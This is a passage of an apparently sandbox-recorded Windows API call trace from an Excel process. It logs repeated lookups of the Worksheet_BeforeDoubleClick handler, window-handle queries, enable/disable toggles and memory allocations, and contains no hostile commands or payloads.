_DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0171.394] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0171.394] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0171.412] GetCurrentThreadId () returned 0x8fc [0171.412] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0171.412] GetDesktopWindow () returned 0x10010 [0171.413] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0171.413] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0171.413] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0171.414] IsWindowEnabled (hWnd=0x202b0) returned 1 [0171.414] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0171.414] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0171.414] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0171.414] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0171.414] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0171.414] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0171.414] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0171.414] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0171.414] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0171.415] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0171.415] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0171.415] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0171.415] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0171.415] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0171.415] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0171.415] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0171.415] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1ca40 [0171.415] IMalloc:Free (This=0x7feffc15380, pv=0xbe1ca40) [0171.792] GetAsyncKeyState (vKey=27) returned 0 [0171.792] GetCurrentThreadId () returned 0x8fc [0171.792] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0171.792] GetDesktopWindow () returned 0x10010 [0171.792] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0171.792] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0171.792] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0171.792] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0171.792] GetWindowLongPtrA (hWnd=0x13028a, nIndex=-6) returned 0x7feef2c0000 [0171.792] GetWindowLongPtrA (hWnd=0x13028a, nIndex=-6) returned 0x7feef2c0000 [0171.792] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0171.792] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0171.793] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0171.793] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0171.793] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0171.793] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0171.793] IsWindowEnabled (hWnd=0x202b0) returned 0 [0171.793] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0171.793] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0171.794] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0171.794] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0171.794] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0171.794] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0171.794] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0171.794] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0171.794] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0171.794] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0171.794] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0171.794] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0171.794] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0171.795] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0171.795] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bba0 [0171.795] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bba0) [0174.942] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0174.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0174.942] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0174.942] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0174.942] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0174.954] GetCurrentThreadId () returned 0x8fc [0174.954] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0174.954] GetDesktopWindow () returned 0x10010 [0174.954] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0174.954] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0174.954] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0174.954] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0174.954] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0174.954] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0174.954] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0174.954] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0174.955] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0174.955] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0174.955] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0174.955] IsWindowEnabled (hWnd=0x202b0) returned 1 [0174.955] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0174.955] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0174.955] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0174.956] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0174.956] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0174.956] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0174.956] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0174.956] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0174.956] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0174.956] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0174.956] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0174.956] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0174.956] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0174.956] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0174.956] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b780 [0174.957] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b780) [0175.268] GetAsyncKeyState (vKey=27) returned 0 [0175.268] GetCurrentThreadId () returned 0x8fc [0175.268] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0175.268] GetDesktopWindow () returned 0x10010 [0175.269] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x15028a, nIndex=-6) returned 0x7feef2c0000 [0175.269] GetWindowLongPtrA (hWnd=0x15028a, nIndex=-6) returned 0x7feef2c0000 [0175.269] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0175.269] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0175.269] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0175.270] IsWindowEnabled (hWnd=0x202b0) returned 0 [0175.270] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0175.270] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0175.270] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0175.270] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0175.270] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0175.270] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0175.270] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0175.270] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0175.270] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0175.270] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0175.270] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0175.270] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0175.270] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0175.271] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0175.271] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b920 [0175.271] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b920) [0178.306] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0178.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0178.307] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0178.307] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0178.307] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0178.315] GetCurrentThreadId () returned 0x8fc [0178.315] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0178.315] GetDesktopWindow () returned 0x10010 [0178.315] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0178.315] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0178.315] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0178.315] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0178.315] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0178.315] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0178.315] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0178.315] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0178.315] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0178.315] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0178.316] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0178.316] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0178.316] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0178.316] IsWindowEnabled (hWnd=0x202b0) returned 1 [0178.316] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0178.316] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0178.316] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0178.316] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0178.317] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0178.317] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0178.317] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0178.317] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0178.317] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0178.317] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0178.317] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0178.317] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0178.317] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0178.317] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0178.317] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b920 [0178.318] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b920) [0178.816] GetAsyncKeyState (vKey=27) returned 0 [0178.817] GetCurrentThreadId () returned 0x8fc [0178.817] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0178.817] GetDesktopWindow () returned 0x10010 [0178.817] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0178.817] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0178.817] GetWindowLongPtrA (hWnd=0xc028c, nIndex=-6) returned 0x7feef2c0000 [0178.817] GetWindowLongPtrA (hWnd=0xc028c, nIndex=-6) returned 0x7feef2c0000 [0178.817] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0178.817] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0178.817] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0178.817] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0178.818] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0178.818] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0178.818] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0178.818] IsWindowEnabled (hWnd=0x202b0) returned 0 [0178.818] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0178.818] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0178.818] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0178.818] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0178.818] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0178.818] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0178.819] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0178.819] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0178.819] GetWindowLongPtrA (hWnd=0x101cc, 